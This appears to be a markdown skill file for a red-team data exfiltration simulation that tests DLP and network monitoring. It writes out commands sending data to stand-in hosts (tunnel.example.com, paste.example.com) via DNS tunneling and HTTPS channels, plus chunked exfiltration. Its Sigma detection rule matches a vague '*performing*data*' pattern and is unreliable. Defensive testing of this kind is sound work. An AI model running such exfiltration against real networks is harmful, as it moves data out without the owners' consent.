<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-data-exfiltration-simulation
description: >-
  Simulate data exfiltration techniques to test DLP controls and network
  monitoring, including DNS tunneling, HTTPS covert channels, steganography,
  and cloud storage abuse mapped to MITRE ATT&CK Exfiltration tactic.
domain: cybersecurity
subdomain: adversary-simulation
tags:
  - data-exfiltration
  - dlp-testing
  - dns-tunneling
  - covert-channels
  - steganography
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1048.001", "T1048.002", "T1048.003", "T1041", "T1567"]
  frameworks: ["MITRE ATT&CK"]
  tools: ["python3", "dnscat2", "iodine"]
---

# Performing Data Exfiltration Simulation

## Overview

Data exfiltration simulation validates whether DLP controls, network monitoring,
and egress filtering can detect adversaries moving sensitive data out of the
network. Tests cover multiple exfiltration channels including DNS, HTTPS,
ICMP, and cloud storage services using safe test data only.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `python3` | Security tooling |
| `network monitoring enabled` | Security tooling |
| Safe test data (no actual sensitive/production data) | Environment requirement |
| DLP solutions deployed and monitoring | Environment requirement |
| Network egress points instrumented for logging | Environment requirement |

## Workflow

### Step 1: Prepare Test Data

```python
"""Generate safe test data for exfiltration simulation."""
import os
import string
import random

def generate_test_data(size_kb: int = 100) -> bytes:
    """Generate random test data that mimics sensitive file patterns."""
    header = b"EXFIL_SIMULATION_SAFE_DATA\n"
    body = "".join(
        random.choices(string.ascii_letters + string.digits, k=size_kb * 1024)
    ).encode()
    return header + body
```

### Step 2: DNS Tunneling Simulation

```bash
# Simulate DNS exfiltration (T1048.003)
node scripts/agent.js dns-exfil --data test_data.bin --domain "tunnel.example.com" --mode simulate

# Monitor DNS query volume and entropy
node scripts/agent.js analyze-dns --pcap dns_capture.pcap
```

### Step 3: HTTPS Covert Channel

```bash
# Simulate HTTPS exfiltration via legitimate service (T1567)
node scripts/agent.js https-exfil --data test_data.bin --endpoint "https://paste.example.com" --mode simulate

# Test chunked exfiltration over time
node scripts/agent.js chunked-exfil --data test_data.bin --chunk-size 1024 --interval 60
```

### Step 4: Validate DLP Detection

```bash
# Check DLP alerts for exfiltration attempts
node scripts/agent.js check-dlp --timeframe "2h" --channels "dns,https,cloud"

# Generate exfiltration simulation report
node scripts/agent.js report --execution-log exfil.json
```

## Detection

```yaml
title: Data Exfiltration Simulation Detection
id: 66f038e1-bf28-4c7d-bec0-bf412dafd315
status: experimental
description: Detects suspicious activity related to performing data exfiltration simulation techniques in adversary simulation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*data*"
  condition: selection
level: high
tags:
  - attack.t1048.001
  - attack.t1048.002
  - attack.t1048.003
  - attack.t1041
  - attack.t1567
  - attack.execution
falsepositives:
  - Authorized red team exercises during approved testing windows
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Data Exfiltration Simulation Detection | windows/process_creation | Sigma rule (high) |
| ATT&CK Coverage | MITRE ATT&CK | T1048.001, T1048.002, T1048.003, T1041, T1567 |

## Verification

- [ ] Only safe test data used — no production data
- [ ] DNS tunneling detected by query volume/entropy analysis
- [ ] HTTPS exfiltration detected by DLP or proxy inspection
- [ ] Cloud storage uploads detected by CASB or DLP
- [ ] Egress filtering blocks unauthorized channels

## References

- [MITRE ATT&CK Exfiltration](https://attack.mitre.org/tactics/TA0010/) — Technique catalog
- [dnscat2](https://github.com/iagox86/dnscat2) — DNS tunneling tool
